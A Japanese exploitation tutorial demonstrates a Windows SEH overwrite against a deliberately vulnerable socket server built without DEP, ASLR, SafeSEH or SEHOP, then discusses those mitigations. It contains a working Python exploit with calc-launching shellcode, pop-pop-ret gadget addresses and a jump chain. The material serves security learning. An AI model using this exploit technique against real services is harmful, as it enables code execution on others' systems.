WindowsでSEH overwriteによるstack canary(/GS)回避をやってみる
スタックバッファオーバーフロー攻撃に対する防御手法のひとつにstack canaryがある。
これは関数の先頭でcanaryと呼ばれるランダムな値をスタックに積んでおき、関数の末尾でこの値が書き換えられていないかチェックすることで攻撃を検知するというものである。
Windowsではコンパイル時に/GS
オプションをつけることでstack canaryが有効になるが、これを回避できる攻撃手法としてSEH overwriteと呼ばれる手法が知られている。
SEHはStructured Exception Handler(構造化例外ハンドラ)の略であり、これはアクセス違反やゼロ除算などによる例外をプログラム中で扱うための機構である。
ここでは/GS
オプションが有効な実行ファイルに対し、SEH overwriteによるシェルコード実行をやってみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >cdb -version cdb version 6.3.9600.17298
脆弱性のあるプログラムを書いてみる
まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void bof(SOCKET c) { char buf[400]; int *ptr; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); /* trigger INVALID_POINTER_WRITE exception */ ptr = *(int **)buf; *ptr = 0; } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
SEH overwriteではスタックバッファオーバーフローが起こった後、関数を抜けるまでの間に例外が発生することを前提とする。 このコードでは入力の先頭4バイトをint型ポインタとみなし値を書き込むことで、不正な入力が与えられたときアクセス違反例外が起こるようになっている。
DEP、ASLR、SafeSEH無効、stack canary(/GS)有効でコンパイルする。
>cl bof.c /GS /link /nxcompat:no /dynamicbase:no /safeseh:no
Windows 8では後述するSEHOPと呼ばれるセキュリティ機構が標準で有効となっている。 ここでは、下記のレジストリを設定することにより、生成されたbof.exeについてSEHOPを無効にする。
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bof.exe] "DisableExceptionChainValidation"=dword:00000001
デバッガで例外ハンドラの仕組みを確認してみる
デバッガのもとでプログラムを起動し、例外が発生したときの状態を調べてみる。
>cdb bof.exe (snip) (218c.548): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=d27e0000 edx=00000000 esi=7ffde000 edi=00000000 eip=77d83bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 77d83bed cc int 3 0:000> g ModLoad: 749d0000 74a1b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444
プログラムに接続し入力を送り込むと、アクセス違反例外が発生する。
$ nc localhost 4444 AAAAAAAA [Ctrl+C]
0:000> g ModLoad: 749d0000 74a1b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBE8 (218c.548): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image004000 00 eax=41414141 ebx=00000000 ecx=41414141 edx=0018fb28 esi=00401528 edi=00401528 eip=00401051 esp=0018fbe4 ebp=0018fd7c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 image00400000+0x1051: 00401051 c70100000000 mov dword ptr [ecx],0 ds:002b:41414141=????????
This exception may be expected and handled.
とあるように、この例外はSEHによって処理される。
具体的には、発生した例外を処理できるハンドラにたどりつくまで、例外ハンドラのリストをたどり順に実行していく。
例外ハンドラのリストは、TEB(Thread Environment Block)の先頭にあるTIB(Thread Information Block)と呼ばれる構造体のExceptionList
メンバにある。
また、TEBはfsセグメントの先頭に配置されている。
デバッガでExceptionList
の内容を確認してみると、次のようになる。
0:000> dg fs P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0053 7ffdd000 00000fff Data RW Ac 3 Bg By P Nl 000004f3 0:000> dt _TEB 7ffdd000 -r1 ntdll!_TEB +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x0018ff70 _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : 0x00190000 Void +0x008 StackLimit : 0x0018d000 Void +0x00c SubSystemTib : (null) +0x010 FiberData : 0x00001e00 Void +0x010 Version : 0x1e00 +0x014 ArbitraryUserPointer : (null) +0x018 Self : 0x7ffdd000 _NT_TIB +0x01c EnvironmentPointer : (null) (snip) 0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0018ff70 ntdll!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : 0x0018ffcc _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x00402700 _EXCEPTION_DISPOSITION +0 0:000> dl 0x0018ff70 0018ff70 0018ffcc 00402700 76b084f3 00000000 0018ffcc ffffffff 77d674a0 76bf3698 00000000
dl
コマンドはリンクリストを表示するコマンドであり、与えられたポインタの際を順にたどるのに合わせて後続するデータを表示する。
上の結果から、00402700
と77d674a0
のアドレスに計2個のハンドラが登録されていることがわかる。
ここで、ffffffff = -1
はリストの終端を意味する。
例外ハンドラのリストは、!exchain
コマンドでも表示することができる。
0:000> !exchain 0018ff70: image00400000+2700 (00402700) 0018ffcc: ntdll!_except_handler4+0 (77d674a0) CRT scope 0, filter: ntdll!__RtlUserThreadStart+54386 (77d7f076) func: ntdll!__RtlUserThreadStart+543cd (77d7f0bd)
表示されている内容が、先に調べた結果と一致していることが確認できる。
ここで、最初の例外ハンドラのレコード(SEHレコード)が置かれているアドレス0018ff70
とebpレジスタが指すアドレス0018fd7c
を比較すると非常に近いことがわかる。
実際、SEHレコードはスタックの下部に配置されており、スタックバッファオーバーフローによって書き換えが可能である。
ebpからのオフセットを計算してみると次のようになる。
0:000> ? 0018ff70-ebp Evaluate expression: 500 = 000001f4 0:000> q quit:
上の結果から、ebpから500バイト先に最初のSEHレコードが配置されていることがわかる。
SEHレコードを書き換えてみる
ここまでの内容をもとに、最初のSEHレコードを書き換えるスクリプトを書いてみる。
# test.py import socket bufsize = 400 ebp_to_seh_record = 500 buf = 'A' * bufsize buf += 'AAAA' # stack canary buf += 'A' * ebp_to_seh_record # ebp points here buf += 'aaaabbbb' c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
デバッガのもとでプログラムを起動した後スクリプトを実行し、プログラムの状態を調べてみると次のようになる。
$ python test.py
>cdb bof.exe (snip) 0:000> g ModLoad: 749d0000 74a1b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBE8 (ac8.1708): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image004000 00 eax=41414141 ebx=00000000 ecx=41414141 edx=0018fb28 esi=00401528 edi=00401528 eip=00401051 esp=0018fbe4 ebp=0018fd7c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 image00400000+0x1051: 00401051 c70100000000 mov dword ptr [ecx],0 ds:002b:41414141=???????? 0:000> !exchain 0018ff70: 62626262 Invalid exception stack at 61616161 0:000> t (ac8.1708): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=62626262 edx=77d100cf esi=00000000 edi=00000000 eip=62626262 esp=0018f630 ebp=0018f650 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 62626262 ?? ??? 0:000> q quit:
最初の例外ハンドラのアドレスが0x62626262(bbbb
)になっているのと同時に、次のレコードを指すポインタが0x61616161(aaaa
)となりリストが途切れていることが確認できる。
また、処理を進めると実際に0x62626262にジャンプしている。
このことから、0x62626262の代わりに適当なアドレスをセットすることで、そのアドレスにジャンプできることがわかる。
SEHレコードへのリターン
スタックのアドレスはランダム化されているため、事前にバッファが置かれたアドレスを得ることができない場合、シェルコードが置かれたアドレスを特定できない。 そこで、例外ハンドラ呼び出し時の引数に着目する。
EXCEPTION_DISPOSITION __cdecl _except_handler ( struct _EXCEPTION_RECORD* _ExceptionRecord, void* _EstablisherFrame, struct _CONTEXT* _ContextRecord, void* _DispatcherContext );
例外ハンドラが呼ばれる際、スタックには例外ハンドラからのリターンアドレスの後、上に示す4つの引数が順に並んでいる。
また、_EstablisherFrame
にはその時点でのSEHレコードのアドレスが入る。
ここで、例外ハンドラのアドレスとしてpop REG; pop REG; ret
の形のROP gadgetを指定すると、リターンアドレスと_ExceptionRecord
をpopした後SEHレコードが置かれているアドレスにジャンプすることができる。
rp++を使って、gadgetを探してみる。
$ ./rp-win-x64.exe --file=bof.exe --rop=2 --unique > gadgets.txt $ grep ": pop" gadgets.txt 0x00402673: pop eax ; pop ebp ; ret ; (1 found) 0x00407149: pop eax ; pop ebx ; ret ; (1 found) 0x00401717: pop eax ; pop esi ; ret ; (2 found) 0x0040360a: pop ebx ; pop ebp ; ret ; (9 found) 0x00401525: pop ecx ; pop ebp ; ret ; (11 found) 0x00401246: pop ecx ; pop ecx ; ret ; (5 found) 0x00404b3f: pop edi ; pop ebp ; ret ; (2 found) 0x00403dc9: pop edi ; pop esi ; ret ; (4 found) 0x004017a6: pop esi ; pop ebp ; ret ; (34 found) 0x0040565d: pop esi ; pop ebx ; ret ; (2 found) 0x00406588: pop esi ; pop edi ; ret ; (18 found)
見つかったgadgetを例外ハンドラのアドレスとして指定するスクリプトを書いてみる。
# test2.py import socket import struct addr_pop2 = 0x004017a6 # 0x004017a6: pop esi ; pop ebp ; ret ; (34 found) bufsize = 400 ebp_to_seh_record = 500 buf = 'A' * bufsize buf += 'AAAA' # stack canary buf += 'A' * ebp_to_seh_record # ebp points here buf += '\xcc\xcc\xcc\xcc' buf += struct.pack('<I', addr_pop2) c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
デバッガのもとでプログラムを起動した後スクリプトを実行し、プログラムの状態を調べてみる。
$ python test2.py
>cdb bof.exe (snip) 0:000> g ModLoad: 749d0000 74a1b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBE8 (820.1ee0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image004000 00 eax=41414141 ebx=00000000 ecx=41414141 edx=0018fb28 esi=00401528 edi=00401528 eip=00401051 esp=0018fbe4 ebp=0018fd7c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 image00400000+0x1051: 00401051 c70100000000 mov dword ptr [ecx],0 ds:002b:41414141=???????? 0:000> !exchain 0018ff70: image00400000+17a6 (004017a6) Invalid exception stack at cccccccc 0:000> u 004017a6 image00400000+0x17a6: 004017a6 5e pop esi 004017a7 5d pop ebp 004017a8 c3 ret 004017a9 55 push ebp 004017aa 8bec mov ebp,esp 004017ac 8b4508 mov eax,dword ptr [ebp+8] 004017af 83f814 cmp eax,14h 004017b2 7d16 jge image00400000+0x17ca (004017ca) 0:000> t eax=00000000 ebx=00000000 ecx=004017a6 edx=77d100cf esi=77d100b1 edi=00000000 eip=0018ff70 esp=0018f63c ebp=0018f730 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018ff70 cc int 3 0:000> dc eip 0018ff70 cccccccc 004017a6 8641b034 00000000 ......@.4.A..... 0018ff80 0018ff94 767c7c04 7ffde000 767c7be0 .....||v.....{|v 0018ff90 f0d264e0 0018ffdc 77d2ad1f 7ffde000 .d.........w.... 0018ffa0 f184510e 00000000 00000000 7ffde000 .Q.............. 0018ffb0 fffff801 00000000 00000000 d76512f0 ..............e. 0018ffc0 f184510e 0018ffa0 ffffe000 ffffffff .Q.............. 0018ffd0 77d674a0 864e03e2 00000000 0018ffec .t.w..N......... 0018ffe0 77d2acea 00000000 00000000 00000000 ...w............ 0:000> q quit:
例外ハンドラのアドレスとしてgadgetのアドレスが入り、SEHレコードの先頭にジャンプしていることが確認できる。
シェルコードを実行してみる
以上の内容をもとに、シェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import socket import struct addr_pop2 = 0x004017a6 # 0x004017a6: pop esi ; pop ebp ; ret ; (34 found) bufsize = 400 ebp_to_seh_record = 500 # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' buf = 'A' * bufsize buf += 'AAAA' buf += shellcode buf += 'A' * (ebp_to_seh_record-len(shellcode)) buf += '\xeb\x06\x90\x90' # jmp $+8 buf += struct.pack('<I', addr_pop2) buf += '\xe9\xff\xfd\xff\xff' # jmp $-508 c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
SEHレコードの先頭には4バイトしか置けないため、上のコードでは一旦8バイト先にジャンプした後、あらためてシェルコードの先頭にジャンプするようにしている。
bof.exeを起動し、エクスプロイトコードを実行してみる。
$ python exploit.py
シェルコードが実行され、電卓が起動することが確認できる。
SafeSEH
SEH overwriteに対する防御手法として、SafeSEHがある。 SafeSEHを有効にしてコンパイルすると、有効な例外ハンドラのアドレスが実行ファイル中に記録され、ハンドラを実行する前にこれらと照合するようになる。
SafeSEHを有効にしてコンパイルし、dumpbinコマンドで詳細を確認してみる。
>cl bof.c /link /nxcompat:no /dynamicbase:no >dumpbin /loadconfig bof.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file bof.exe File Type: EXECUTABLE IMAGE Section contains the following load config: 00000048 size 0 time date stamp 0.00 Version 0 GlobalFlags Clear 0 GlobalFlags Set 0 Critical Section Default Timeout 0 Decommit Free Block Threshold 0 Decommit Total Free Threshold 00000000 Lock Prefix Table 0 Maximum Allocation Size 0 Virtual Memory Threshold 0 Process Heap Flags 0 Process Affinity Mask 0 CSD Version 0000 Reserved 00000000 Edit list 0041204C Security Cookie 00410E00 Safe Exception Handler Table 3 Safe Exception Handler Count Safe Exception Handler Table Address -------- 004026F0 00405650 00407F10 Summary 3000 .data 5000 .rdata C000 .text
上の結果から、Safe Exception Handler Tableとして有効な例外ハンドラのアドレスが記録されていることがわかる。 また、実際に攻撃を行うと失敗することが確認できる。
Structured Exception Handling Overwrite Protection(SEHOP)
SafeSEHでは例外ハンドラのアドレスがDLL内を指す場合、そのDLLの例外ハンドラテーブルを確認する。 ここで、DLLがSafeSEH無効で例外ハンドラテーブルが存在しない場合、ハンドラはそのまま実行される。 したがって、実行ファイル内のgadgetを使う代わりにSafeSEH無効かつASLR無効なDLL内のgadgetを使うことで、SafeSEHが回避できてしまう。
そこで、新たな防御手法としてSEHOPが実装されている。 SEHOPを有効にし、通常実行した際の例外ハンドラのリストを調べてみると次のようになる。
0:000> !exchain 0018ff70: image00400000+2700 (00402700) 0018ffcc: ntdll!_except_handler4+0 (77d674a0) CRT scope 0, filter: ntdll!__RtlUserThreadStart+54386 (77d7f076) func: ntdll!__RtlUserThreadStart+543cd (77d7f0bd) 0018ffe4: ntdll!FinalExceptionHandlerPad17+0 (77d10220)
SEHOPは、例外ハンドラが呼び出される際に例外ハンドラのリストがntdll!FinalExceptionHandlerPad17
まで繋がっているかを確認し、正常な場合のみ例外ハンドラを実行する。
SEHOPを回避するにはntdll!FinalExceptionHandlerPad17
のアドレスを得る必要があるが、ntdll.dllはシステムDLLでありASLR有効となっているため、容易ではない。
関連リンク
- Exploit writing tutorial part 3 : SEH Based Exploits | Corelan Team
- FuzzySecurity | ExploitDev: Part 3: Structured Exception Handler (SEH)
- SafeSEHとSoftwareDEP « 他人の空似
- エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~番外編SEHOP~ « 他人の空似
- Nothing But Programming - SEH
- SEHオーバーライトの防御機能とそのExploit可能性
- Beyond Zero-day Attacks(2):スタックに対する攻撃とその対策 - @IT
- SEHOP per-process opt-in support in Windows 7 - Security Research & Defense - Site Home - TechNet Blogs